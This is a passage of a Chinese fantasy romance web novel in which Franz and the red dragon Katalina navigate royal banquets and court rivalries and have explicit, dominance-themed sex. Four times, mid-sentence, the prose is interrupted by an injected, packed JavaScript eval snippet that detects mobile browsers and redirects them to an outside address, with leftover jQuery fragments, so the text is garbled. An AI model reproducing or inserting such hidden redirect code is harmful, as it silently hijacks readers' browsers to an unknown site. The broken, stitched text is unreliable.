是好意还是恶意,弗兰茨已经无意深究,他也不再在乎;而卡塔利娜为何会在这里,除了明面上发泄被刺杀的怒火,肯定还有其他缘因。但是弗兰茨已经学会不去追问,他清楚如果卡塔利娜不想说,那么没有人能知道;而且相比用嘴说清楚,卡塔利娜更喜欢用现实来展现。
所以他不再纠结,而是另起一个话题:“那你想跳舞吗?”
“跳舞?”卡塔利娜重复了一遍。
“对,跳舞,”弗兰茨笑了,他突然感觉很轻松,尽管有许多人看着他们,他还是向她迈了一小步,“宴会上大家总是要跳舞的,你要不要也来跳舞?”
卡塔利娜没有说话,她只是看着他,看着他不附加任何意味的浅笑,定定地看了半响后,她慢吞吞地道:“好。”
于是他们跳舞了。
与其说是跳舞,不如说是抱在一起左右摇晃,弗兰茨没有做出交谊舞的邀请动作,卡塔利娜也本就不在乎,于是两个人一拍即合,在舞池没有规律的晃来晃去。
他们靠得不近,不是紧密的拥抱,也没有暖味地贴着腰肢,虽然只是在胡乱地转着圈,但两人都跳得心情愉悦。
“这可不会像弗兰茨表兄会做的事。”舞池之外,阿奇尔·杜兰德小声地和他姐姐议论道。
他十分惊讶,毕竟弗兰茨的性格小心谨慎,并不是喜爱博人眼球的类型,以往的社交场所他也不总是出现,出现了也习惯站在人群之外,可是现在——
阿奇尔看着弗兰茨脸上并不遮掩的浅笑,十分不解。
“再谨慎的人也想为自己博一个出路吧。”阿奇尔的姐姐淡淡道,意有所指。
闻言,阿奇尔诧异地看向舞池中央,两人动作虽然不亲密也不规范,但红龙的眉梢确实也流过一丝笑意。
一曲舞终,两人便也松开了手,但红龙不再像最开始那样四处走动引起恐慌,而是站在弗兰茨身边说着些什么。
难道说红龙对驭龙女士的后人,确实还存在着几分和善之心,而弗兰茨觉察出这一点,所以有意迎合上去了吗?
“……你的意思是,红龙早已加入了行赏的队伍,并和弗兰茨·罗兰关系良好?”奥伯伦低声问道。
罗斯恭敬回答:“依我所见,确实如此。”
“……弗兰茨·罗兰。”奥伯伦对这个名字颇为熟悉,不是因为驭龙女士的缘故,而是因为,因为——
因为在行赏前,是塞莱斯特向他推荐的弗兰茨!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991990|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她当时是怎么说来着的?
她当时说:“如果兄长在驭龙女士的后人们中决定不了人选的话,不如选择弗兰茨·罗兰。”
——“弗兰茨·罗兰?”
——“是的,他是我在念书时曾经的同学,性格内敛,并不喜好出风头。我想,他应该是一个合适的人选。”
确实是一个合适的人选。
吉祥物嘛,就应该不争不闹,温柔乖顺,就像他的妹妹一样,奥伯伦放下了警惕心,选择了弗兰茨·罗兰成为本次行赏的使团使者。
可是现在,奥伯伦沉下了心,弗兰茨·罗兰与红龙交好,而弗兰茨·罗兰又是由塞莱斯特推荐的,这其中是否藏有他尚未知晓的内情?
“去把塞莱斯特叫来!”奥伯伦急切催促。
“原来你也在这里。”
红龙突然响起的声音打断了罗斯的步伐,罗斯一抬起头,便见红龙站在一旁玩味地看着他们,她问:“难道你忘了我吗?”
罗斯的动作顿住了,奥伯伦的疑心也随着这句话渐起,但他并不想红龙离他太近,所以他只好先将红龙打发:“阁下——”
“我很满意,”红龙自顾自地说话,这让奥伯伦感到不满,感到挑衅,“我还要参加宴会,我要住在这里。”
此话一出,奥伯伦几乎要控制不住自己的表情,他的声音干涩,正要想办法婉拒,突然灵光一现,一个大胆的念头迫使他将即将说出口的话吞了回去:“这、我们当然欢迎阁下的到来,不过王宫——我们将请阁下住在王宫外的金水仙公馆,那里的环境适宜,您的好友罗兰先生现在也住在那儿。”
.
是夜。
清风将香根鸢尾的暖香拂进了室内,弗兰茨躺在床上,被这香味扰得莫名睡不着。他在丝滑柔软的床上翻了几次身,却把心也给翻乱了。
他只好坐起来披上外袍,打算走出卧房下楼走走。
才推开沉重的木门,一道熟悉的身影就出现眼前。
来者正是卡塔利娜。
弗兰茨先是吃了一惊,转而又觉得是卡塔利娜会做的事。
他轻声问她:“怎么下来了?”
卡塔利娜定定地看着他,没有马上说话,直到盯得弗兰茨有点儿局促的时候,她才一提嘴角,抬手把弗兰茨往房间里一推,右脚向后一踢将木门关上了。
金水仙公馆本是提供给那些与国王夜谈后的近臣休息的地方,为显王族之慷慨,公馆修建得宽敞又精美,与他们之前在格兰德城住的行驿馆截然不同,因此尽管卡塔利娜关门的动作略显粗鲁,木门合上时也不过轻轻一响,就把其余的事物都关在了门外。
现在,这里只剩下弗兰茨和卡塔利娜。
她在房间里随意走了两圈,然后径直地坐在了弗兰茨尚存余温的大床上。
“怎么不坐?”她在床上弹了两下,发觉弗兰茨还在门口站着。
弗兰茨看了她两眼,还是走了过来,在一旁的椅子上坐下了。
也许是卡塔利娜在这里的缘故,今晚的金水仙公馆很安静,远处朦胧的喧哗则被暧昧的软风推往另一个方向。
两人相视了一会儿,弗兰茨忍不住想问,“怎么”刚离开了嘴巴,他又将嘴闭上了。
“怎么不问了?”这一回,卡塔利娜先问了。
22. 第 22 章
这确实是一个柔软且舒适的夜晚,夜虫轻吟,晚风习习。卧房的窗户半敞着,月光落进来,在地上抹开一层半圆形的白霜。
相比白天展现出的强势,卡塔利娜现在的态度也算得上温和。
但不知为何,弗兰茨却又像回到了最初遇到卡塔利娜的时候,他紧张,局促,不知道说些什么才比较合适。
也许是因为身上这件外袍太厚太闷?
脑海里闪过这样一个念头,弗兰茨下意识地想解开外袍,手指搭在衣带上的那一刻他才后知后觉地意识到在这样的环境这样的情况下,这样的动作又带有何种性质的暗示意味。
卡塔利娜轻笑了一声。
她看着浅红从弗兰茨的锁骨漫延至他的脖颈,又慢慢地染上脸颊,心情也好上几分。
“你是想到了什么吗?”她从容地、故意地捉弄他,“你有没有想起我?”
她的姿态随意自然,语气戏谑,当她的眼神直直地落到一个人身上的时候,会给人一种被看透的感觉。
弗兰茨此时就是这样的感觉。
但是卡塔利娜突然又向后退了一步,难得没有逼得很紧,她说:“我这次来,是要取一件东西。”
弗兰茨获得了一个可以喘丨息的空间,他应该感到庆幸,心底却又蓦地一空,像踩不到实地一般。
为了躲开这种奇怪的心情,弗兰茨顺着卡塔利娜的话问道:“你要取什么?”
“取一个很重要的东西。”尽管没有指明是什么,但是卡塔利娜这番回答却意外地没有跳过话题,她直勾勾地盯着弗兰茨,重复道,“一个很重要的东西。顺便再帮一个小忙。”
弗兰茨大概明白了什么,他试探性地问道:“东西和我有关?”
“嗯哼。”卡塔利娜不置可否,片刻,她站了起来,走到弗兰茨身前。
龙的身份暴露后,她不再扎着两根羊角辫,也没有戴那双厚厚的手套,而是向所有人展示她与众不同的犄角与覆盖着细细鳞片的指尖。
而为了向红龙展示善意,金水仙公馆里备好了符合卡塔利娜尺寸的衣物。卡塔利娜把周身的鳞片收了起来,赏光似的把人类准备的衣物穿上了,所以当她靠过来的时候,弗兰茨从她身上闻到了和他一模一样的香皂味道。
两人的距离一瞬拉近,弗兰茨的脸一下子臊了起来,他不可控制地回想起在龙穴发生过的事——他想用其它事情压下去,却在再次见到卡塔利娜后时时回想起来的事。
她现在要做什么?
弗兰茨不自在地向后挪动了一下,卡塔利娜却什么也没有做,推开木门径直离开了。
.
次日,欢庆的音乐像流水一样在王宫里流淌。
塌了大半个屋顶的宴会厅没法用了,国王便很大方地将王族与重臣私下聚会的宴会厅开放,以欢迎红龙的到来。
新的空间虽不及昨日的宴会厅宽敞,但装潢更奢华更精美——历代名家的巨幅画作,天花板及墙壁上复杂的立体雕刻,以及数枚会散发出眩目光泽的、晶莹剔透的晶石,众人小声惊叹,而卡塔利娜的脸上则露出颇有兴致的表情。
今天来到宴会厅的人和昨天一样,这是卡塔利娜要求的,她要“尽情地享受宴会”,所以人们不得不来。
除此以外,还有一些小小的不同。
驭龙女士的后人们,还有几个家族地位并不算高但野心勃勃的未婚年轻男子们都穿上了十分华贵的衣服。
袖口边的针脚,缎面上的纹理,以及无暇宝石制成的衣扣,显然不是他们各自的家族能够准备的——昨天夜里,数套裁剪精良的服装送至各家门前,随之而来的还有一道秘密口信。
弗兰茨并没有因为昨天和卡塔利娜跳了一段舞蹈今天就一直和她站在一起。他仍是按往常习惯的那样站在舞池之外,卡塔利娜则是和昨天一样四处走动。
只不过昨天她到处乱晃的时候,人们会自动避让她,就像一头鲨鱼四处游曳之时,鱼群会向其它地方游散一般;但在今天,卡塔利娜前进的道路却有了几个阻碍。
她最先遇到一个年轻男孩,他有着海水一般的蓝眼睛,玫瑰花一般的嘴唇,声音胆怯而迟疑,但眼神却流露出一丝骄傲:“尊敬的女士,在下阿奇尔·杜兰德,正是驭龙女士的后人,不知我是否有这个机会,有这个荣幸请教您的芳名,延续友好的情谊?”
自从昨晚收到陛下的秘密口谕后,阿奇尔的心就一直激动不已,接近红龙的行动意味着风险与奖赏共存,但谁会放弃这个能够表现自己的机会呢?他躺在床上,一边因为设想了明日的场景,兴奋地睡不着觉,一边担心自己未能早早入睡导致明日容颜憔悴,不能获得红龙青睐。
但幸好并无差错,弗兰茨表兄也不在红龙身旁,他走到红龙身边,抢到了先机。
听到他的话后,红龙眼皮一掀,眼神锋利,直直地盯着他,盯得他心中忐忑,几乎维持不住笑意的时候,她才冷淡地问:“你也是梅兰妮尔·杜兰德的后人?”
“也”。
阿奇尔怎么会不明白这个“也”字的意思,虽然这是一个任务,但他自小便生活在家人的宠爱之中,事事以他为中心,哪里有过今天这样的情况?他抿了抿花瓣一般饱满的嘴唇,略带委屈地回答:“是这样的,女士。”
红龙并不怜惜,她用她那明黄色的眼睛审视着他,突然哼笑了一声,阿奇尔还以为是发生了什么别的事情,却听到她命令道:“叫我卡塔利娜。”
极其傲慢的语气,阿奇尔觉得自己本应会讨厌用这种态度对待自己的人,但当他看向她桀骜不驯的眉毛,薄且轮廓分明的嘴唇,以及那双仿佛永远在居高临下俯视旁人的眼睛,心跳漏了一拍。
阿奇尔突然意识到,眼前这个傲慢的女人和昨天那头极其强大的红龙没有任何区别。他结结巴巴地说了一句“原、原来是卡塔利娜女士”后,原本能言善辩的嘴巴就闭上了,胸膛里的震动却越跳越响。
“卡塔利娜女士,不知您是否有兴趣与我跳今日的第一支舞呢?”在阿奇尔绞尽脑汁回想起昨晚准备好的话时,一个男声却在身旁响起来。
阿奇尔瞪了过去,只见一个高挑英俊的男子正十分殷勤地对卡塔利娜微笑,他认出此人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991991|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正是格里芬勋爵家的旁支,想来也是想借此博一个出路。
阿奇尔十分不满,不仅因为他们是竞争者,还有一个他暂时想不明白的缘故。
“卡塔利娜女士,您刚刚说的‘也’,您和我的表兄弗兰茨似乎十分熟络,”他挤了过去,尽管阿奇尔不想借旁人的名头,但在现在这种情况,他却只能这么做,“您愿意讲讲您的故事吗?”
年轻人就像黄鹂一样充满活力,卡塔利娜却不为所动。
在她沉默的这段时间中,围上来的人越来越多,打扮得花枝招展,争先恐后地想要吸引她的注意力。
弗兰茨远远看着,想要上前却仍站在人群边缘。
你为什么不上前呢?
看着看着,他的心里突然冒出这样一个念头。
他问自己,为什么不上前,为什么不敢上前,又为什么想要上前?
为什么心中会生出奇怪的感觉,为什么他要告诉自己放纵这种奇怪的感觉只会让事态滑向失控和危险,为什么他明知不宜探究这种感觉,却不再想保持理智,任由情绪的潮水侵袭泛滥?
“弗兰茨?”旁人的声音迫使他脱离情绪的河流,弗兰茨侧身一看,靠过来的是他的一位表妹,阿奇尔的亲姐姐。
“有需要我的帮忙吗,杜兰德小姐。”他回答得并不热络,不止因为他与几位近亲接触得并不算多,还因为他的心情确实没有那么晴朗。
“噢,确实有一个,”杜兰德小姐将他的客套当了真,她向他走进了两步,微笑道,“行赏途中经历不少,如今归来,为何不向大家分享分享经历呢?我们身为驭龙女士的后人,红龙又亲临王都,快和我们讲讲你们是怎么认识的吧,大家都有目共睹呢。”
杜兰德小姐三两句话就将意图暴露了出来,她明明年纪尚轻却也热衷投身于权力的博弈场。
弗兰茨看了杜兰德小姐一眼,突然觉得自己不必也不想再像以前那样说一些套话回绝,他向她点了点头,道一声“失陪”后转身离去。
所以,你为什么不上前呢?
夜晚,弗兰茨躺在柔软的床上陷入沉思。
白日在宴会上从杜兰德小姐身边脱身后,弗兰茨并没有走向卡塔利娜。
他只是拿着酒盏站在一旁,看着卡塔利娜在人群中摆出一副面无表情的样子,又看着她不快地甩开人群,走到餐台旁进食。
实际上这称不上“甩”,因为她只不过是上前两步,围着她想要讨好她试探她的人们就纷纷后退了几步,让出了一条路——他们始终害怕她。
但即使如此,这也并不能让他舒畅半分,弗兰茨看着,举起酒杯轻饮一口。酒液又酸又涩,的确比不上“贝莉的金杯”中流淌的酒液。
为什么不上前呢?
寂静的夜晚,只有窗外的夜莺在放声歌唱。
难道是有谁在阻止他吗?
弗兰茨辗转反侧,片刻,他从床上爬了起来披上外袍,他推开房门,外边空无一人。
没关系,他想。
没关系,他拿起一盏小小的烛台,朝楼上卡塔利娜的卧房走去。
23. 第 23 章
门外有人在靠近。
脚步很轻,很缓,带着一点儿犹豫,但还是逐渐向她的卧房靠近。
黑暗中,卡塔利娜放松地躺在床上,听到门外轻微的声响,嘴角很快地提了一下。
脚步声在卧房门口停了下来,接着是一片安静。
她静静地等了一会儿,敲门声的叩叩声才迟迟响起。
然后是弗兰茨很轻的一声:“卡塔利娜,你睡了吗?”
她没有很快起身下床,而是又等了一会儿,以此充当让她等待的报复,以及满足自己的恶趣味——她享受并喜欢让对方徘徊在煎丨熬和不安中的情丨态。
敲门声停止了,可呼吸声还在。
卡塔利娜难得存有一丝好心,当然也有她不喜欢等待的缘故,她翻身下床,利落地推开了门——
弗兰茨正站在门外。
他有一点讶异——她这么久没开门,现在却突然开了,他是在惊讶她还没睡?还是以为他的敲门声吵醒了她?
他的脸色看着有些苍白,但微弱的烛光却又在他的颧骨处抹了两笔红。
呼——
卡塔利娜将他手里的烛火吹灭了。
她将他拽进卧房,看着他小小地吃了一惊,迫不及待地把他扌安倒在床上。
卧房里并没有燃烛,但她的夜视能力很好,能够很清晰地看见他的脸噌一下地烧了起来,然后开始惊慌地向后躲。但卡塔利娜可不管这些,她重重地压在他身上,双手搭在他的脸上,虎口卡着他的下颚,用气声问他:“你躲什么?”
“我、卡塔利娜,”他确实很无措,话都快要说不清楚,“我们,不对,我,我有话要对你说。”
“你说。”她趴在他的身上,觉得自己很宽容。
“我、我——”弗兰茨支支吾吾了两声,然后问她,“你能不能,能不能先坐起来。”
哪怕不看,卡塔利娜也能感受到她手底下的肌肤滚烫,她贴着他,嘴唇若即若离地挨着他的脸颊,故意将热气呼在他的脸上:“这样也能说话。还是说,你觉得进来并不会发生什么?”
弗兰茨不说话了。
他将嘴唇抿了起来,半阖的眼睛也看向了一旁。
“你做好了准备。”她笃定道。
她将他微侧的脸掰了回来,拇指往前一探,很轻易就撬开了他抿起的嘴唇,但她不再进行下一步,而是问他:“今天下午怎么一直盯着我,很在乎我?”
漆黑的卧房里,只有两道浅浅的呼吸声交错起伏。
半晌,弗兰茨才认输般闭上了眼睛,他的声音颤抖:“是。”
卡塔利娜满意地笑了。
她从弗兰茨身上翻了下来,侧躺在床上,一只手臂按着他的后背,让他也侧过来与她面对面躺着。
.
“你有没有想念?”她一边问他,手下动作也不停。
卡塔利娜伸手,在温热的皮肤之下,她感受到弗兰茨逐渐加速的心跳;但这还不够,她嘴上继续添柴加火:“你知道这会发生,不是吗?”
“你不是也在期待吗?”有着尖利指甲的手指毫不怜惜地动作,但她的耐心向来不多,调动情绪的动作没做多少她又抱着弗兰茨的肩膀丨压回他的身上。
.
激烈的动作不断,沉重的呼吸交织,汗很快就挂在了身上。卡塔利娜向后拨弄了一下赤红的头发,继而揽住了弗兰茨的脖子。
卡塔利娜没轻没重地扌安压他的喉结,看着他变得绯红的脸颊和蒙着薄雾的眼睛,故意捉弄他。
“为什么不来找我?”她亢奋地逼问他,两人汗津津地贴在一起,非常亲密,但她仍不放过他,“为什么要让嫉妒侵占你的眼睛,还要让犹豫拖住你的双腿?”
“那个年轻男孩,你的表亲。也很漂亮,他叫什么?”她继续折磨他,誓必把他吃掉。
弗兰茨不想回答这个问题,他想要亲她,她却哼笑着将他的嘴捂住了。
卡塔利娜俯视着他,盯着她,浅褐色的瞳孔收缩得极细,在一同抵达的那一刻,她不容拒绝地对他说:“你必须承认你想站在我身边。”
.
翌日。
清晨,阳光透过玫瑰色的晨雾,轻柔地落在了窗台上。
几只不甘落后的报晨鸟在枝头跳跃,放声歌唱,弗兰茨迷迷糊糊地睁开眼,看见了一片红色。
那是卡塔利娜头发的颜色。
记忆随之回笼,昨夜发生过的一切在脑海里浮现。这让他的脸又开始热了起来。
他想要舒展身体转移一下注意力,可是卡塔利娜此时正和他面对着面,身体贴着身体地侧躺在床上,他反倒不敢动了。
这实在是,太疯狂了。
弗兰茨轻轻呼出一口气,昨晚,他明明,明明是想和卡塔利娜说一些事情,可是事态完全不在他的掌控之中。卡塔利娜洞悉一切,不仅没让他把话说成,还将他自己也未能完全意识到的私心明明白白地剖了出来。
“是觉得自己没有表现好吗?”
一只指尖覆盖着细细鳞片的手搭上的胸口。
卡塔利娜并不看他,而是有一下没一下地在他身前拨丨弄,揉丨捏,她看着立起来那一点红,看似真诚地建议:“我的巢穴里有很适合它的宝石。”
不仅是脸,这一回,弗兰茨的胸口也染上一片红。他的手也搭了上去,很艰难地想要她松开,但她不肯松开,他也只好放弃。
“……卡塔利娜,”弗兰茨轻声唤她,“昨天下午那些人——”
“嗯哼。”
“他们,”弗兰茨说得也很艰难,他并不擅长与人紧密接触,而且接下来要说的话,也实在太像在拈酸吃醋,“我的意思是,既然你已经知道国王的意图,那么昨天接近你的那些人,想必也是受到了某些示意。你很好,只是他们对你的示好……”
“唔,这里面也包括你的表亲吗?”她有意打断他的话。
阿奇尔。
卡塔利娜指的是阿奇尔,那个比他小了六岁的表弟。
他与他接触不多,但根据他仅有的几次接触和传闻便可得知阿奇尔极受家人宠爱。这本来没什么,他对他并无嫉妒之心,尽管他在罗兰家中的地位与阿奇尔在他自己家中的地位是天差地别。
但是此刻,他的心底开始流淌着不甘的河流,虽然他希望自己能客观地评价他人,可现在他却用原本自己瞧不上的词语劝告她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991992|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你在嫉妒。”卡塔利娜看穿了他,但她没有生气,只是轻佻地摸着他的脸颊。
“但你还是很漂亮。”她评价他。
弗兰茨对这样的夸奖有些不知所措,他只好转移话题:“你要取走什么?国王接下来或许还会做些什么,我知道你十分强大,可是远离这些还是比较合适。”
“叛丨丨国丨罪。”她调侃似的定义他,“你在偏向一头红龙。”
他回答“是”,卡塔利娜看着他笑了。
她把腿搭在他的腰上,然后他们又做丨了一次,面对面侧躺,没有像昨晚那么激烈,倒像两条紧紧缠丨绕的蛇。
结束的时候已经临近中午,卡塔利娜的腿还架在弗兰茨身上,懒洋洋地伸着懒腰。
随着动作的拉伸,光线从她身上流过,左边胸口处一道浅色的痕迹落入了弗兰茨的眼里。
这不是那种事留下来的痕迹,这更像是……他看着这道淡粉色的痕迹,觉得这像一道疤。
“你也想评价我?”卡塔利娜看向他。
“我、不是的——”他看着卡塔利娜,看着她嘴角挑起的弧度,明白她是在暗示自己不要提问那道痕迹。
见弗兰茨没有要继续说下去的意思,卡塔利娜笑了笑,然后又问他:“我拿到我想要的东西后,你又有什么打算?小丨叛丨国丨贼。”
“我——”弗兰茨迟疑了一下,他看着卡塔利娜永远胜券在握的脸,把一些话藏了起来,又把一些心底话说出来,“我想四处走走。”
“嗯哼,我也挺喜欢四处走走,”她若有其事地点点头,然后又摸了摸弗兰茨的腰侧,“很不错的回答。”
.
下午的庆典照常举行,众人们似乎觉得红龙只是喜欢吓唬人,不会莫名其妙下死手,氛围也就变得欢乐祥和,甚至连国王也笑眯眯地让财政大臣跳了一次舞。
阳光斜斜地照射进来,宴会厅里浮动着一层淡淡的流金。
阿奇尔总结了昨天失败的经验,他拟好话题,兴致勃勃地想往卡塔利娜身边冲,生怕有人抢先他一步。
挤开人群,他左右一看,很好,格里芬不在,泽维西亚落后于他。他深吸一口气,抚了抚鬓边乌黑的卷发,再一次确定发型的完好无损后,他微笑着走上前:“亲爱的卡塔利娜女士、呃,弗兰茨表兄?”
阿奇尔愣了一下,下意识问道:“你、你怎么会在这里?”
对啊,他怎么会在这里?他不应该是站在宴会厅的角落,或者外边的露台上吗?为什么现在他会站在这里,而红龙的手还搭在他的手臂上?
“那你怎么会站在这里?”表兄笑吟吟地看着他,故意用那种看小孩子的眼神,问小孩子的语气对待他。
被不当回事的怒火嘭一下涌上了大脑,而红龙甚至没有看他一眼,阿奇尔受不了这样的气,气鼓鼓地跑开了。
“你不会喜欢小孩子的吧?”弗兰茨无奈又好笑地看向卡塔利娜,难得开了一个玩笑。
卡塔利娜倒很满意他的表现,她顺着他的手臂往下滑,摸到他的腕骨再往袖子里面丨探。
她摩挲着他温热的皮肤,没管此时正身处于宴会厅,肯定道:“今晚奖励你一点儿新东西吧?”
24. 第 24 章
卡塔利娜的话向来不容拒绝。
即使不可能的事情,她也会将其成真,更何况只是寻求丨快丨感这样简单的事情。
这天夜晚,弗兰茨照旧来到卡塔利娜的房间,尽管宴会厅里卡塔利娜里的话实在是太过惊人,臊得他当场就红了脸。可是不知为何,他现在却怀揣着一种他不想承认的期待,躺在了卡塔利娜的床上。
“你好兴奋。”卡塔利娜笑他。
她的食指从他的眉他的眼,滑到他的唇他的胸口,虚虚点着,时轻时重,每勾起一次手指,尖利地指甲都会擦起一点儿火花,这让弗兰茨忍不住轻轻颤栗起来。
“你很喜欢啊,”她不仅看穿了他,还要说出来,“是不是越痛越兴奋?”
看着弗兰茨微皱的眉头,抿紧的嘴唇,卡塔利娜十分兴奋,她在掌控他的身体上体会到了许多乐趣。
施加□□,推波助澜,她看着弗兰茨的脸上既是痛苦又是欢愉,耳边是他止不住地喘息,这太让她惊喜。眼看他即将到达顶峰,卡塔利娜手上的动作停了下来,她坐到一旁,一只手托住他的下巴,拇指伸入口中按压他的舌头,理直气壮地示意他:“现在轮到你了。”
弗兰茨的脸上还浮着一片红,尽管眼神有些失焦,但他还是顺从地环住了卡塔利娜的腰。
俯身,低头,他沉溺于山谷之中,用唇舌虔诚地去够那天然的泉水。
这让卡塔利娜很愉悦,不仅是生理上的,更是心理上的。
直到她终于满足的时候,她才发一点善心将他从忍耐的痛苦中解救。
“这是你的癖好吗?”沉溺在余韵的浪潮中,弗兰茨与她靠在一起,腿叠着腿,手搭着手。
“你不是挺享受的吗?”卡塔利娜反问,她打量着他的情态,下了定论,“你明明很喜欢。”
弗兰茨没有说话。
他轻轻叹了一口气,但没有哀怨的意思。
澄明的月光混合着暖昧的花香在室内浮动,他与卡塔利娜放松地挨在一起,心底有一丝怅然若失。
究竟是因为什么,他自己也清楚,但此刻氛围实在是太好,他不愿意让深究带来心灵上的折磨。
叩叩叩——
一阵敲门声打断了此时的平静,接着是阿奇尔清脆的声音:“卡塔利娜女士,您睡着了吗?”
他怎么会在这里?
弗兰茨感到错愕,但在下一瞬他便想通了其中的关窍。
“你的表弟前来献身了。”卡塔利娜看着他,戏谑地调侃,“我要去开门吗?弗兰茨表兄。”
不要。
弗兰茨没有说话,但他用眼神用行动挽留她,讨好她——和你一起经历了那么多的是我,今晚你的选择也应该是我。
卡塔利娜很满意,也很享受。
很快,谁也没有精力去管门外的人到底还在不在了。
.
“你是不是故意的?”留住卡塔利娜的后果就是第二天被幼稚的小孩找上门。
弗兰茨站在餐台旁,身边站着一个怒气冲冲的阿奇尔。
“我可不明白你说的谜语。”弗兰茨回以诧异。
“你就是故意的!”阿奇尔的脸通红,“我昨天先去找你,你不在,我再去找她,她也不开门,你是不是就在里面?!是不是你叫她不要开门的?!”
“你昨天在金水仙公馆?”即使被挑明了事实,弗兰茨仍是微笑,“别对你的表兄这么粗鲁,阿奇尔表弟。真奇怪不是吗?昨晚你应该在家里才对,私闯金水仙公馆可不是什么小事;如果还有其他人帮忙,那可会更加严重了。你可不要因为冲动,而有损驭龙女士的名誉啊。”
阿奇尔瞠目结舌,但昨晚确实是家里人熬不过他的恳求买通守卫放他进去的,可是、可是:“什、什么私闯,我才没有。再说了,你有什么资格提驭龙女士的名誉,你又不姓杜兰德!”
弗兰茨若有其事地点点头:“但陛下选择了我做使团使者。”
阿奇尔论不过弗兰茨,他不想再做什么任务了,反正陛下也没有让他当什么使团成员。
他气鼓鼓地走了,可是弗兰茨身边又有一人出现。
“久仰您的大名,罗兰先生。”
来者正是一位使团成员,她并非出身骑士团或者国王近卫,而是来自王国南部的谢利子爵家。她在海难中受了伤,在格兰德城内休养,直到被送回王国大陆。
她与其他人交情不多,唯独与雷东多交好,在他们回到金水仙公馆那日后,弗兰茨时常能见到他们交谈。
因此他并不知晓,谢利小姐对于“行赏”所发生的事情究竟了解多少,对现在的情况又知道多少。
谢利小姐向他点头致意:“我常听雷东多提起您,他称赞您的勇气与智慧,还有您的善心——您知道的,善心在现在可不多得了,这实在是想让人结识一番。”
她的话实在是恭维,弗兰茨和她交谈了一会儿,这才意识到这两天都没有见到雷东多。
这很奇怪,国王当时只将伍德关押了下去,难道后来又秘密抓住了雷东多?这实在没有道理。
弗兰茨暗自思忖,谢利小姐也看出了他在走神。她并没有露出不满的表情,而是向他身后轻轻一瞥,微妙地笑了起来。
“格里芬先生好热情啊。”
弗兰茨顺着她的话看过去,只见一个高挑男子极近地贴在卡塔利娜身旁,尽管卡塔利娜仍是面无表情的模样,但他笑得依旧灿烂。
这几日,卡塔利娜的举动尽管没有伤人的意思,但她十分自我的态度,让不少人不愿靠近,而她极其直白简洁的语言,更是让旁人不知该如何与她交流。
唯独格里芬,第一天他先是邀请卡塔利娜跳舞被拒,接着第二天又因为私事参加宴会迟来一步,错过了靠近的机会;而现在,他仿佛什么事情都没发生过一般,热情地站在卡塔利娜,从怀里掏出了一只小木鸟。
格里芬点点小木鸟的脑袋,它便扇着木翅膀扑啦啦飞到了卡塔利娜的面前。
“格里芬先生真的很会讨人欢心呢。”谢利小姐见了,也忍不住笑了起来。
弗兰茨心头微微一跳,他先是本能地觉察出谢利小姐的话不只是一句夸赞,接着心底又涌起一股说不清道不明的感觉。
有点酸涩,又有点懊恼。
失落在这一瞬催促着他向卡塔利娜的方向走去,只是没想到谢利小姐也跟了上来。
格里芬大概也很诧异,但他还是十分热情地向两人问好致意,随后又看向卡塔利娜,笑眯眯地问她:“您喜欢吗?”
卡塔利娜并没有什么表情变化,她只是挑了挑眉,吐出“尚可”两个字。
听到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998404|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样的评价,格里芬神色不变,顺着卡塔利娜的话往下:“那是当然了,您经历了百年前的战争,又见识过这么多的事物,一只小小的木鸟自然比不上那些奇珍异宝了。木鸟以供解闷,不过我却十分好奇,您在见识过这么多事物后,有没有什么喜欢的东西呢?”
这个问题实在大胆,可卡塔利娜却也难得开口,她的嘴角流露出一丝玩味的笑意:“你们送来的金杯,我倒是十分满意。”
金杯。
谢利和格里芬点点头,并没有露出很惊讶的表情,可弗兰茨知道,卡塔利娜所说的金杯,其实指的是“贝莉的金杯”。
再加上卡塔利娜轻轻擦过他身上的眼神,这让他颇不自在地眨了眨眼睛。
